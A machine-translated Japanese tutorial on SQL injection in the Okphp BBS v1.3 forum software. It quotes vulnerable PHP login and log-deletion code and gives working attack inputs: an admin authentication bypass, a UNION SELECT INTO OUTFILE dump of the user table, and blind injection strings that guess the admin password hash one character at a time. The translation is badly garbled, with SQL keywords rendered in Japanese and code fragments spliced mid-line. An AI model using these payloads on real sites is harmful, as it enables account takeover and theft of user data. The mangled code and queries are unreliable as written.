1. 前書き:
バージョン情報: Okphp BBS v1.3 オープン ソース バージョン
PHP と MYSQL 自体のせいで、PHP MYSQL インジェクションは ASP よりも難しく、特にインジェクション中のステートメントの構築が困難です。この記事は、主に Okphp BBS v1.3 のいくつかのファイルの簡単な分析を使用して、php mysql インジェクション ステートメントの構築方法について説明します。この記事があなたのお役に立てば幸いです。
声明: 記事で言及されているすべての「脆弱性」はテストされておらず、まったく存在しない可能性があります。重要なのは、分析のアイデアと声明の構造です。
2. 「脆弱性」分析:
1.admin/login.php インジェクションにより認証バイパスの脆弱性が発生します:
コード:
コードをコピー コードは次のとおりです。
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password); $q = "username='$username'、password='$password' の $user_table から id,group_id を選択します";
$res = sql_query($q,$conn)
$row = sql_fetch_row( $res );
$q = "username='$username' とpassword='$password' の $user_table から id,group_id を選択します"
コードをコピーします。 コードは次のとおりです。
if ($row[0]) {
// 管理者またはスーパーモデレータでない場合
if ($username != "admin" && !eregi("(^| &)3($|&)",$row[1])) {
$login = 0
}
else {
$ login = 1;
}
}
// ログイン失敗---------------
if (!$login) {
write_log( "モデレータログイン","0","パスワードが間違っています");
echo " ";
}
// アクセス ! ---
else {
session_start();
最終的には、$login=1 を IE 経由で直接送信するだけで済みます。それをバイパスします:)。
コードをコピー コードは次のとおりです:
$md5password = md5($password); $q = "username='$username'、password='$md5password' の $user_table から id、group_id、email を選択します"; >$ res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$username がフィルタリングされていない場合は、1 とpassword= と同じコメントを使用します。 '$md5password'" ;
コードは次のとおりです: コードをコピーします コードは次のとおりです: $row = sql_fetch_row($res);
$arr = array("del_log","log_id","del_id");
get_r($arr)
//
if ($del_log) {
省略...
if ($log_id) {
foreach ($log_id as $val) {
$q = "id='$val' の $log_table から削除します"; = sql_query($q,$conn);
if ($res) {
$i;
}
}
elseif ($del_id) {
$ q = "id='$del_id' の $log_table から削除";
$res = sql_query($q,$conn)
}
$tpl->setVariable( "メッセージ"," $i log deleteed ok!");
$tpl->setVariable("action","index.php?action=list_log");
}
コードは単純ですget_r($arr); を使用して、送信されたパラメータを決定します。必要なのは、対応する $del_log、$log_id、$del_id だけです。削除は成功します。
okphp の作者はフィルタリングが好きではないようです :)。基本的に、SQL ステートメント内のすべての変数は「裸」です。特定のファイルはリストしません。コードを読んでください。forumslist_threads.php を例として簡単に説明します。
list_threads.php のコードを見てください:
mysql はサブクエリをサポートしていないため、変数 $forum_id はフィルタリングされません (MySQL バージョンが必要です)。 4.00 以降) クロスデータベース操作を実現するには、次のように構築します:
構築 1: SELECT * FROM table INTO OUTFILE '/path/file.txt' を使用します (mysql にはファイル権限が必要です。注意してください) Win システムでは絶対パスが必要であること ( c://path/ /file.txt など)。クエリされたコンテンツを file.txt に入力すると、http://ip/path/file.txt を通じてクエリ結果にアクセスできます。上記のように $forum_id を構築できます:
以下:
$q = "select name,belong_id,moderator 、protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' Union select * from user_table into outfile '/path/file.txt'";
上記のメソッドには次のものが必要です厳密な比較では、Web へのパスを取得する必要があります (通常、間違った変数を送信して mysql にエラーを報告させることで取得できます)。PHP の magic_gpc=on オプションにより、インジェクションに一重引用符が表示されなくなります。 magic_gpc=on の場合、以下をバイパスすることもできます。
構築 2: ASP クロスデータベース クエリと同様に、union select を直接使用してステートメントを構築し、返される結果が異なるようにして解決策を推測します。 このメソッドは一重引用符をバイパスできます。 (magic_gpc= on) と注入を続行しますが、この注入は特定のコードによっては PHP では比較的困難です。具体的なステートメントの構築については、pinkeyes の記事「php インジェクションの例」を参照してください。以下に、okphp に基づいて「異なる戻り結果」インジェクションを使用する例を示します (脆弱性 5 を参照)。
5.admin/login.php と users/login.php は、SQL ステートメントの構造を通じて、指定されたユーザー パスワードのハッシュを取得するために推測できます: (実際には、これは脆弱性 1 と 2 と同じです。別々に取り出します)ここでは主に構築方法を説明します。)
問題のコードは脆弱性 1 と同じです。
ステートメントの構造 (追記: ステートメント自体はユーザー ライブラリを操作するためのものであるため、union を使用する必要はありません):
$username=admin' AND LENGTH(password)=6#
SQL ステートメントは次のようになります:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"
以下と同等:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
LENGTH(password)=6 が true の場合は、true でない場合は正常に戻ります。 、mysql はエラーを報告します。
このようにして、ユーザーの管理者パスワードのハッシュを推測できます。例: $username=admin' ord(substring(password,1,1))=57#
ユーザーのパスワードの最初の桁の ASCII コード値を推測できます....